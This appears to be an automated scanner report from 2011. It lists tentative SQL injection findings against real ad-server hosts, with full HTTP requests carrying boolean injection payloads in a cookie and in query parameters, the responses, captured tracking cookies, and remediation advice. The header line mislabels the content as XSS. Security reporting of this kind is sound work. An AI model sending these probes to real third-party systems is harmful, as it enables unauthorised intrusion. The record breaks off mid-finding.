XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, 05102011-01

SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.

Issue remediation

The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.

You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:

One common defence is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defence is designed to prevent malformed data from terminating the string in which it is inserted. However, if the data being incorporated into queries is numeric, then the defence may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defence to be bypassed.
Another often cited defence is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.

1.1. http://ad.amgdgt.com/ads/ [ID cookie] next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://ad.amgdgt.com
Path:	/ads/

Issue detail

The ID cookie appears to be vulnerable to SQL injection attacks. The payloads '%20and%201%3d1--%20 and '%20and%201%3d2--%20 were each submitted in the ID cookie. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /ads/?t=i&f=j&p=5112&pl=c4bd92c5&rnd=60913016647100450&clkurl=http://ib.adnxs.com/click/H4XrUbgeAUAfhetRuB4BQAAAAKCZmQlAmpmZmZmZCUCamZmZmZkJQFFFHlTWPNEMSsYda6b2ziU7OslNAAAAABUbAAC1AAAAlgIAAAIAAADIpAIA0WMAAAEAAABVU0QAVVNEANgCWgC1GHIAPhABAgUCAAQAAAAAPCEvmAAAAAA./cnd=!kR7geQi_kAMQyMkKGAAg0ccBMAA4tTFAAEiWBVAAWABg2gFoAHCsAnj8W4AB9gSIAaQUkAEBmAEBoAEDqAEDsAEBuQEAAACgmZkJQMEBAAAAoJmZCUDJAbjdQpCsz7k_0AEA/referrer=http%3A%2F%2Fwww.androidcentral.com%2Fandroid-central-google-io-2011/clickenc=http%3A%2F%2Fgoogleads.g.doubleclick.net%2Faclk%3Fsa%3Dl%26ai%3DB3vh7OzrJTeDtMse36Qbe6eiBDtfq-NMBr56U7Bjrwu3UHAAQARgBIAA4AVCAx-HEBGDJhoWJiKSEEIIBF2NhLXB1Yi05OTE0OTkyOTE0OTEwODQ3oAHD8v3sA7IBFnd3dy5hbmRyb2lkY2VudHJhbC5jb226AQk3Mjh4OTBfYXPIAQnaATxodHRwOi8vd3d3LmFuZHJvaWRjZW50cmFsLmNvbS9hbmRyb2lkLWNlbnRyYWwtZ29vZ2xlLWlvLTIwMTGYAtwQwAIEyAKF0s8KqAMB6AOOCOgDrwjoA-gE6AOTCfUDAAAAxIAG--Ohhf7g767AAQ%26num%3D1%26sig%3DAGiWqtyPZXDoeqgWv10Nz_yf_zYwhy0uEQ%26client%3Dca-pub-9914992914910847%26adurl%3D HTTP/1.1
Host: ad.amgdgt.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ID=AAAAAQAU6fB5bLIqJTbWvlzW3Ft0OcZJYxcAANGoPMSHa0D5h6539_dUjA0AAAEvZiIaJw--'%20and%201%3d1--%20; LO=AAAAAQAUYn__ZmG8acLIZhvDLvm3d2V86m4BAHVzYTt2dDs1MjM7c3Rvd2U7MDU2NzI7c29mdGxheWVyIHRlY2hub2xvZ2llcyBpbmMuO2Jyb2FkYmFuZDsxNzMuMTkzLjIxNC4yNDM-; UA=AAAAAQAUNCYV.fzBKzXiM_IlgLbxozis.EcDA3gBY2BgEGFgWnCTgSW7lYGR9wcDww1XBgYGTgYGRv2raSc_45RLfcMAlWsD6vsO1OcC03fk3wIrXPo2eXRm4NK38WbcZKhcC9DMn0Az3WBmbjS_aYJTn3m6Pm45CaA7O5cA_dcMNPMX0Ex3mJmT9CP8oXIYfu_l2OYNlcNwSy.HSz8uuY7smFM45ZLcruOUi_C6hlPOb0IITjnXBg6oHEY8dEi438apT8JOG5e.9pM7N.HS135yRi0w_Bhxyld2CwHlGXyP6zUwcDEwLDcHKmVgCLzFKMgITFY7GfmBFIMBPwMTEz8zIwsjKyMbIzsjByMnIxcjNyMPIy8jH1gJSyajCFDl0gKwPgUziGAIkwijKFBYfhcPbq2L3RmB7gOl34z5U0BuYWAAAI6Mla4-

Response 1

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: ID=AAAAAQAUYGo0nk8a73lDHZRXSGxC4Xj5Q.4AAGnnbqfYNksGmO3Sj_V0qlYAAAEv2iUwwg--; Domain=.amgdgt.com; Expires=Fri, 07-May-2021 13:42:41 GMT; Path=/
Set-Cookie: UA=AAAAAQAUVnGtjbSHRthVuiIOriMwdo2_m88DA3gBY2BgEGFgWnCTgSW7jYGR9zsDww0XBgYGTgYGRv1bqgaHoHKtQLkfQDlXmNzVtJOfccqlvmHAZeaRfwuscOnb5NGZgUvfxptxk6FyLUC3_AS6xQ3mlo3mN01w6jNP18ctJwF0Z.cSoN.bgWb.AprpDjNzkn6EP1QOw..9HNu8oXIYbunlcOnHJdeRHXMKp1yS23WcchFe13DK.U0IwSnn2sABlcOI2w4J99s49UnYaePS135y5yZgGDHi0tte2S0ElGfwPdHAwMDFwLDcnImBkZGRgSHwFqMQkOLcySgApBgMBBmYGBmZ.JgZWRhZGdkY2Rk5GDkZuRi5GXkYeRn5GPnBylgyGUWBqpcWgPUqmEEEQ5hEGcWAwvK7eHBrXewOthaaikFOYgAALdmVAg--; Domain=.amgdgt.com; Expires=Thu, 09-Jun-2011 13:42:41 GMT; Path=/
Expires: Thu, 01 Jan 1970 00:00:01 GMT
Cache-Control: no-cache, no-store
P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Content-Type: text/javascript;charset=UTF-8
Content-Length: 5467
Date: Tue, 10 May 2011 13:42:40 GMT

_289670_amg_acamp_id=172249;
_289670_amg_pcamp_id=69111;
_289670_amg_location_id=55364;
_289670_amg_creative_id=289670;
_289670_amg_loaded=true;
var _amg_289670_content='<script type="text/javascript"
...[SNIP]...
<script language="JavaScript" type="text/javascript" src="http://view.atdmt.com/TLC/jview/253732014/direct/01/rnd=35491822/rnd=35491822?click=http://ad.amgdgt.com/ads/t=c/s=AAAAAQAUlLyLmGcZo6fsAAQuvRbcQO6Nn5RnZW8sdXNhLHQsMTMwNTAzNDk2MTA5MSxjLDI4OTY3MCxwYyw2OTExMSxhYywxNzIyNDksbyxOMC1TMCxsLDU1MzY0LHBjbGljayxodHRwOi8vaWIuYWRueHMuY29tL2NsaWNrL0g0WHJVYmdlQVVBZmhldFJ1QjRCUUFBQUFLQ1ptUWxBbXBtWm1abVpDVUNhbVptWm1aa0pRRkZGSGxUV1BORU1Tc1lkYTZiMnppVTdPc2xOQUFBQUFCVWJBQUMxQUFBQWxnSUFBQUlBQUFESXBBSUEwV01BQUFFQUFBQlZVMFFBVlZORUFOZ0NXZ0MxR0hJQVBoQUJBZ1VDQUFRQUFBQUFQQ0V2bUFBQUFBQS4vY25kPSFrUjdnZVFpX2tBTVF5TWtLR0FBZzBjY0JNQUE0dFRGQUFFaVdCVkFBV0FCZzJnRm9BSENzQW5qOFc0QUI5Z1NJQWFRVWtBRUJtQUVCb0FFRHFBRURzQUVCdVFFQUFBQ2dtWmtKUU1FQkFBQUFvSm1aQ1VESkFiamRRcENzejdrXzBBRUEvcmVmZXJyZXI9aHR0cDovL3d3dy5hbmRyb2lkY2VudHJhbC5jb20vYW5kcm9pZC1jZW50cmFsLWdvb2dsZS1pby0yMDExL2NsaWNrZW5jPWh0dHA6Ly9nb29nbGVhZHMuZy5kb3VibGVjbGljay5uZXQvYWNsaz9zYT1sJmFpPUIzdmg3T3pySlRlRHRNc2UzNlFiZTZlaUJEdGZxLU5NQnI1NlU3Qmpyd3UzVUhBQVFBUmdCSUFBNEFWQ0F4LUhFQkdESmhvV0ppS1NFRUlJQkYyTmhMWEIxWWkwNU9URTBPVGt5T1RFME9URXdPRFEzb0FIRDh2M3NBN0lCRm5kM2R5NWhibVJ5YjJsa1kyVnVkSEpoYkM1amIyMjZBUWszTWpoNE9UQmZZWFBJQVFuYUFUeG9kSFJ3T2k4dmQzZDNMbUZ1WkhKdmFXUmpaVzUwY21Gc0xtTnZiUzloYm1SeWIybGtMV05sYm5SeVlXd3RaMjl2WjJ4bExXbHZMVEl3TVRHWUF0d1F3QUlFeUFLRjBzOEtxQU1CNkFPT0NPZ0Ryd2pvQS1nRTZBT1RDZlVEQUFBQXhJQUctLU9oaGY3Zzc2N0FBUSZudW09MSZzaWc9QUdpV3F0eVBaWERvZXFnV3YxME56X3lmX3pZd2h5MHVFUSZjbGllbnQ9Y2EtcHViLTk5MTQ5OTI5MTQ5MTA4NDcmYWR1cmw9Cg--/clkurl=http://ad.amgdgt.com/ads/t=c/s=AAAAAQAUlLyLmGcZo6fsAAQuvRbcQO6Nn5RnZW8sdXNhLHQsMTMwNTAzNDk2MTA5MSxjLDI4OTY3MCxwYyw2OTExMSxhYywxNzIyNDksbyxOMC1TMCxsLDU1MzY0LHBjbGljayxodHRwOi8vaWIuYWRueHMuY29tL2NsaWNrL0g0WHJVYmdlQVVBZmhldFJ1QjRCUUFBQUFLQ1ptUWxBbXBtWm1abVpDVUNhbVptWm1aa0pRRkZGSGxUV1BORU1Tc1lkYTZiMnppVTdPc2xOQUFBQUFCVWJBQUMxQUFBQWxnSUFBQUlBQUFESXBBSUEwV01BQUFFQUFBQlZVMFFBVlZORUFOZ0NXZ0MxR0hJQVBoQUJBZ1VDQUFRQUFBQUFQQ0V2bUFBQUFBQS4vY25kPSFrUjdnZVFpX2tBTVF5TWtLR0FBZzBjY0JNQUE0dFRGQUFFaVdCVkFBV0FCZzJnRm9BSENzQW5qOFc0QUI5Z1NJQWFRVWtBRUJtQUVCb0FFRHFBRURzQUVCdVFFQUFBQ2dtWmtKUU1FQkFBQUFvSm1aQ1VESkFiamRRcENzejdrXzBBRUEvcmVmZXJyZXI9aH
...[SNIP]...

Request 2

GET /ads/?t=i&f=j&p=5112&pl=c4bd92c5&rnd=60913016647100450&clkurl=http://ib.adnxs.com/click/H4XrUbgeAUAfhetRuB4BQAAAAKCZmQlAmpmZmZmZCUCamZmZmZkJQFFFHlTWPNEMSsYda6b2ziU7OslNAAAAABUbAAC1AAAAlgIAAAIAAADIpAIA0WMAAAEAAABVU0QAVVNEANgCWgC1GHIAPhABAgUCAAQAAAAAPCEvmAAAAAA./cnd=!kR7geQi_kAMQyMkKGAAg0ccBMAA4tTFAAEiWBVAAWABg2gFoAHCsAnj8W4AB9gSIAaQUkAEBmAEBoAEDqAEDsAEBuQEAAACgmZkJQMEBAAAAoJmZCUDJAbjdQpCsz7k_0AEA/referrer=http%3A%2F%2Fwww.androidcentral.com%2Fandroid-central-google-io-2011/clickenc=http%3A%2F%2Fgoogleads.g.doubleclick.net%2Faclk%3Fsa%3Dl%26ai%3DB3vh7OzrJTeDtMse36Qbe6eiBDtfq-NMBr56U7Bjrwu3UHAAQARgBIAA4AVCAx-HEBGDJhoWJiKSEEIIBF2NhLXB1Yi05OTE0OTkyOTE0OTEwODQ3oAHD8v3sA7IBFnd3dy5hbmRyb2lkY2VudHJhbC5jb226AQk3Mjh4OTBfYXPIAQnaATxodHRwOi8vd3d3LmFuZHJvaWRjZW50cmFsLmNvbS9hbmRyb2lkLWNlbnRyYWwtZ29vZ2xlLWlvLTIwMTGYAtwQwAIEyAKF0s8KqAMB6AOOCOgDrwjoA-gE6AOTCfUDAAAAxIAG--Ohhf7g767AAQ%26num%3D1%26sig%3DAGiWqtyPZXDoeqgWv10Nz_yf_zYwhy0uEQ%26client%3Dca-pub-9914992914910847%26adurl%3D HTTP/1.1
Host: ad.amgdgt.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ID=AAAAAQAU6fB5bLIqJTbWvlzW3Ft0OcZJYxcAANGoPMSHa0D5h6539_dUjA0AAAEvZiIaJw--'%20and%201%3d2--%20; LO=AAAAAQAUYn__ZmG8acLIZhvDLvm3d2V86m4BAHVzYTt2dDs1MjM7c3Rvd2U7MDU2NzI7c29mdGxheWVyIHRlY2hub2xvZ2llcyBpbmMuO2Jyb2FkYmFuZDsxNzMuMTkzLjIxNC4yNDM-; UA=AAAAAQAUNCYV.fzBKzXiM_IlgLbxozis.EcDA3gBY2BgEGFgWnCTgSW7lYGR9wcDww1XBgYGTgYGRv2raSc_45RLfcMAlWsD6vsO1OcC03fk3wIrXPo2eXRm4NK38WbcZKhcC9DMn0Az3WBmbjS_aYJTn3m6Pm45CaA7O5cA_dcMNPMX0Ex3mJmT9CP8oXIYfu_l2OYNlcNwSy.HSz8uuY7smFM45ZLcruOUi_C6hlPOb0IITjnXBg6oHEY8dEi438apT8JOG5e.9pM7N.HS135yRi0w_Bhxyld2CwHlGXyP6zUwcDEwLDcHKmVgCLzFKMgITFY7GfmBFIMBPwMTEz8zIwsjKyMbIzsjByMnIxcjNyMPIy8jH1gJSyajCFDl0gKwPgUziGAIkwijKFBYfhcPbq2L3RmB7gOl34z5U0BuYWAAAI6Mla4-

Response 2

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: ID=AAAAAQAUFnAZLJAYnZCQqKLDoGMELWRESL8AAPigs5WyP0ZKmWY5_ClDWN8AAAEv2iU2Cg--; Domain=.amgdgt.com; Expires=Fri, 07-May-2021 13:42:42 GMT; Path=/
Set-Cookie: UA=AAAAAQAUjCULET8mbtaeXKfDDnJrHKPwibADA3gBY2BgEGFgWnCTgSW7jYGR9zsDww0XBgYGTgYGRv1bqmZcULlWoNwPoJwrTO5q2snPOOVS3zDgMvPIvwVWuPRt8ujMwKVv4824yVC5FqBbfgLd4gZzy0bzmyY49Zmn6.OWkwC6s3MJ0O_NQDN_Ac10h5k5ST_CHyqH4fdejm3eUDkMt_RyuPTjkuvIjjmFUy7J7TpOuQivazjl_CaE4JRzbeCAymHEbYeE.22c.iTstHHpaz.5cxMwjBhx6W2v7BYCyjP4nmhgYOBiYFhuzsTAyMjIwBB4i1EISHHuZBQAUgwGggxMjIxMfMyMLIysjGyM7IwcjJyMXIzcjDyMvIx8jPxgZSyZjKJA1UsLwHoVzCCCIUyijGJAYfldPLi1LnYHWwtNxSAnMQAANl.Tng--; Domain=.amgdgt.com; Expires=Thu, 09-Jun-2011 13:42:42 GMT; Path=/
Expires: Thu, 01 Jan 1970 00:00:01 GMT
Cache-Control: no-cache, no-store
P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Content-Type: text/javascript;charset=UTF-8
Content-Length: 5477
Date: Tue, 10 May 2011 13:42:41 GMT

_289670_amg_acamp_id=172249;
_289670_amg_pcamp_id=69111;
_289670_amg_location_id=55364;
_289670_amg_creative_id=289670;
_289670_amg_loaded=true;
var _amg_289670_content='<script type="text/javascript"
...[SNIP]...
<script language="JavaScript" type="text/javascript" src="http://view.atdmt.com/TLC/jview/253732014/direct/01/rnd=2050074284/rnd=2050074284?click=http://ad.amgdgt.com/ads/t=c/s=AAAAAQAUY1Hkw5VHgyhvrSCoNeyiAbFdTk9nZW8sdXNhLHQsMTMwNTAzNDk2MjQ0MixjLDI4OTY3MCxwYyw2OTExMSxhYywxNzIyNDksbyxOMC1TMCxsLDU1MzY0LHBjbGljayxodHRwOi8vaWIuYWRueHMuY29tL2NsaWNrL0g0WHJVYmdlQVVBZmhldFJ1QjRCUUFBQUFLQ1ptUWxBbXBtWm1abVpDVUNhbVptWm1aa0pRRkZGSGxUV1BORU1Tc1lkYTZiMnppVTdPc2xOQUFBQUFCVWJBQUMxQUFBQWxnSUFBQUlBQUFESXBBSUEwV01BQUFFQUFBQlZVMFFBVlZORUFOZ0NXZ0MxR0hJQVBoQUJBZ1VDQUFRQUFBQUFQQ0V2bUFBQUFBQS4vY25kPSFrUjdnZVFpX2tBTVF5TWtLR0FBZzBjY0JNQUE0dFRGQUFFaVdCVkFBV0FCZzJnRm9BSENzQW5qOFc0QUI5Z1NJQWFRVWtBRUJtQUVCb0FFRHFBRURzQUVCdVFFQUFBQ2dtWmtKUU1FQkFBQUFvSm1aQ1VESkFiamRRcENzejdrXzBBRUEvcmVmZXJyZXI9aHR0cDovL3d3dy5hbmRyb2lkY2VudHJhbC5jb20vYW5kcm9pZC1jZW50cmFsLWdvb2dsZS1pby0yMDExL2NsaWNrZW5jPWh0dHA6Ly9nb29nbGVhZHMuZy5kb3VibGVjbGljay5uZXQvYWNsaz9zYT1sJmFpPUIzdmg3T3pySlRlRHRNc2UzNlFiZTZlaUJEdGZxLU5NQnI1NlU3Qmpyd3UzVUhBQVFBUmdCSUFBNEFWQ0F4LUhFQkdESmhvV0ppS1NFRUlJQkYyTmhMWEIxWWkwNU9URTBPVGt5T1RFME9URXdPRFEzb0FIRDh2M3NBN0lCRm5kM2R5NWhibVJ5YjJsa1kyVnVkSEpoYkM1amIyMjZBUWszTWpoNE9UQmZZWFBJQVFuYUFUeG9kSFJ3T2k4dmQzZDNMbUZ1WkhKdmFXUmpaVzUwY21Gc0xtTnZiUzloYm1SeWIybGtMV05sYm5SeVlXd3RaMjl2WjJ4bExXbHZMVEl3TVRHWUF0d1F3QUlFeUFLRjBzOEtxQU1CNkFPT0NPZ0Ryd2pvQS1nRTZBT1RDZlVEQUFBQXhJQUctLU9oaGY3Zzc2N0FBUSZudW09MSZzaWc9QUdpV3F0eVBaWERvZXFnV3YxME56X3lmX3pZd2h5MHVFUSZjbGllbnQ9Y2EtcHViLTk5MTQ5OTI5MTQ5MTA4NDcmYWR1cmw9Cg--/clkurl=http://ad.amgdgt.com/ads/t=c/s=AAAAAQAUY1Hkw5VHgyhvrSCoNeyiAbFdTk9nZW8sdXNhLHQsMTMwNTAzNDk2MjQ0MixjLDI4OTY3MCxwYyw2OTExMSxhYywxNzIyNDksbyxOMC1TMCxsLDU1MzY0LHBjbGljayxodHRwOi8vaWIuYWRueHMuY29tL2NsaWNrL0g0WHJVYmdlQVVBZmhldFJ1QjRCUUFBQUFLQ1ptUWxBbXBtWm1abVpDVUNhbVptWm1aa0pRRkZGSGxUV1BORU1Tc1lkYTZiMnppVTdPc2xOQUFBQUFCVWJBQUMxQUFBQWxnSUFBQUlBQUFESXBBSUEwV01BQUFFQUFBQlZVMFFBVlZORUFOZ0NXZ0MxR0hJQVBoQUJBZ1VDQUFRQUFBQUFQQ0V2bUFBQUFBQS4vY25kPSFrUjdnZVFpX2tBTVF5TWtLR0FBZzBjY0JNQUE0dFRGQUFFaVdCVkFBV0FCZzJnRm9BSENzQW5qOFc0QUI5Z1NJQWFRVWtBRUJtQUVCb0FFRHFBRURzQUVCdVFFQUFBQ2dtWmtKUU1FQkFBQUFvSm1aQ1VESkFiamRRcENzejdrXzBBRUEvcmVmZXJyZX
...[SNIP]...

1.2. http://ad.doubleclick.net/adi/N3285.casalemedia/B2343920.400 [sz parameter] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://ad.doubleclick.net
Path:	/adi/N3285.casalemedia/B2343920.400

Issue detail

The sz parameter appears to be vulnerable to SQL injection attacks. The payloads '%20and%201%3d1--%20 and '%20and%201%3d2--%20 were each submitted in the sz parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /adi/N3285.casalemedia/B2343920.400;sz=728x90;click0=http://c.casalemedia.com/c/2/1/80254/;ord=0619192936'%20and%201%3d1--%20 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://letters.salon.com/politics/war_room/2011/05/09/santorum_loser/view/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA; id=22fba3001601008d|2895566/1020157/15103,1031442/454155/15097,1786739/600125/15097,799974/1016776/15096,2818894/957634/15096,2584283/504803/15096,865138/565971/15096,2789604/880805/15096,1359940/457091/15096,1672981/717726/15092,2716759/964419/15088|t=1303072660|et=730|cs=-8oc1u1u

Response 1

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Tue, 10 May 2011 13:17:56 GMT
Content-Length: 3966

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 2593 Template Name = Banner Creative (Flash) - In Page --
...[SNIP]...
<!--
function DCFlash(id,pVM){
var swf = "http://s0.2mdn.net/1420759/lmb_iau_PassAgeBtnParkingLotCNP15s40k_Born_0311_728x90.swf";
var gif = "http://s0.2mdn.net/1420759/lmb_iau_PassAgeBtnParkingLotCNP15s40k_Born_0311_728x90.gif";
var minV = 6;
var FWH = ' width="728" height="90" ';
var url = escape("http://ad.doubleclick.net/click%3Bh%3Dv8/3b03/17/25/%2a/h%3B220264224%3B4-0%3B0%3B43807788%3B3454-728/90%3B41050720/41068507/1%3B%3B%7Esscs%3D%3fhttp://c.casalemedia.com/c/2/1/80254/https://insurance.lowermybills.com/auto/?sourceid=43807788-220264224-41068507");
var wmode = "opaque";
var bg = "";
var dcallowscriptaccess = "never";
var openWindow = "false";
var winW = 728;
var winH = 90;
var winL = 0;
var winT = 0;
if(typeof(encodeURIComponent)=="function"){url=encodeURIComponent(unescape(url));}
var fv='"clickTag='+url+'&clickTAG='+url+'&clicktag='+url+'"';
var bgo=(bg=="")?"":'<param name="bgcolor" value="#'+bg+'">';
var bge=(bg=="")?"":' bgcolor="#'+bg+'"';
function FSWin(){if((openWindow=="false")&&(id=="DCF0"))alert('openWindow is wrong.');if((openWindow=="center")&&window.screen){winL=Math.floor((screen.availWidth-winW)/2);winT=Math.floor((screen.availHeight-winH)/2);}window.open(unescape(url),id,"width="+winW+",height="+winH+",top="+winT+",left="+winL+",status=no,toolbar=no,menubar=no,location=no");}this.FSWin = FSWin;
ua=navigator.userAgent;
if(minV<=pVM&&(openWindow=="false"||(ua.indexOf("Mac")<0&&ua.indexOf("Opera")<0))){
   var adcode='<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" id="'+id+'"'+FWH+'>'+
       '<param name="movie" value="'+swf+'"><param name="flashvars" value='+fv+'><param name="quality" value="high"><param name="wmode" value="'+wmode+'"><param name="base" value="'+swf.substring(0,swf.lastIndexOf("/"))+'"><PARAM NAME="AllowScriptAccess" VALUE="'+dcallowscriptaccess+'">'+bgo+
       '<embed src="'+swf+'" flashvars='+fv+bge+FWH+' type="application/x-shockwave-flash" quality="high" swliveconnect="true" wmode="'+wmode+'" name="'+id+'" base="'+swf.substring(0,swf.lastIndexOf("/"))+'" AllowScriptAccess="'+dcallowscriptaccess+'"></embed></object>';
if((
...[SNIP]...

Request 2

GET /adi/N3285.casalemedia/B2343920.400;sz=728x90;click0=http://c.casalemedia.com/c/2/1/80254/;ord=0619192936'%20and%201%3d2--%20 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://letters.salon.com/politics/war_room/2011/05/09/santorum_loser/view/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA; id=22fba3001601008d|2895566/1020157/15103,1031442/454155/15097,1786739/600125/15097,799974/1016776/15096,2818894/957634/15096,2584283/504803/15096,865138/565971/15096,2789604/880805/15096,1359940/457091/15096,1672981/717726/15092,2716759/964419/15088|t=1303072660|et=730|cs=-8oc1u1u

Response 2

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Tue, 10 May 2011 13:17:57 GMT
Content-Length: 4017

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 2593 Template Name = Banner Creative (Flash) - In Page --
...[SNIP]...
<!--
function DCFlash(id,pVM){
var swf = "http://s0.2mdn.net/1420759/lmb_iau_PassAgeBtnParkingLotCNP15s40k_Accid3Yr_0510_728x90.swf";
var gif = "http://s0.2mdn.net/1420759/lmb_iau_PassAgeBtnParkingLotCNP15s40k_Accid3Yr_0510_728x90.gif";
var minV = 6;
var FWH = ' width="728" height="90" ';
var url = escape("http://ad.doubleclick.net/click%3Bh%3Dv8/3b03/17/25/%2a/u%3B220264224%3B0-0%3B0%3B43807788%3B3454-728/90%3B36993209/37011087/1%3B%3B%7Esscs%3D%3fhttp://c.casalemedia.com/c/2/1/80254/https://insurance.lowermybills.com/auto/?sourceid=43807788-220264224-37011087");
var wmode = "opaque";
var bg = "";
var dcallowscriptaccess = "never";
var openWindow = "false";
var winW = 728;
var winH = 90;
var winL = 0;
var winT = 0;
if(typeof(encodeURIComponent)=="function"){url=encodeURIComponent(unescape(url));}
var fv='"clickTag='+url+'&clickTAG='+url+'&clicktag='+url+'"';
var bgo=(bg=="")?"":'<param name="bgcolor" value="#'+bg+'">';
var bge=(bg=="")?"":' bgcolor="#'+bg+'"';
function FSWin(){if((openWindow=="false")&&(id=="DCF0"))alert('openWindow is wrong.');if((openWindow=="center")&&window.screen){winL=Math.floor((screen.availWidth-winW)/2);winT=Math.floor((screen.availHeight-winH)/2);}window.open(unescape(url),id,"width="+winW+",height="+winH+",top="+winT+",left="+winL+",status=no,toolbar=no,menubar=no,location=no");}this.FSWin = FSWin;
ua=navigator.userAgent;
if(minV<=pVM&&(openWindow=="false"||(ua.indexOf("Mac")<0&&ua.indexOf("Opera")<0))){
   var adcode='<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" id="'+id+'"'+FWH+'>'+
       '<param name="movie" value="'+swf+'"><param name="flashvars" value='+fv+'><param name="quality" value="high"><param name="wmode" value="'+wmode+'"><param name="base" value="'+swf.substring(0,swf.lastIndexOf("/"))+'"><PARAM NAME="AllowScriptAccess" VALUE="'+dcallowscriptaccess+'">'+bgo+
       '<embed src="'+swf+'" flashvars='+fv+bge+FWH+' type="application/x-shockwave-flash" quality="high" swliveconnect="true" wmode="'+wmode+'" name="'+id+'" base="'+swf.substring(0,swf.lastIndexOf("/"))+'" AllowScriptAccess="'+dcallowscriptaccess
...[SNIP]...

1.3. http://ad.doubleclick.net/adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://ad.doubleclick.net
Path:	/adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19

Issue detail

The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. The payloads %20and%201%3d1--%20 and %20and%201%3d2--%20 were each submitted in the name of an arbitrarily supplied request parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

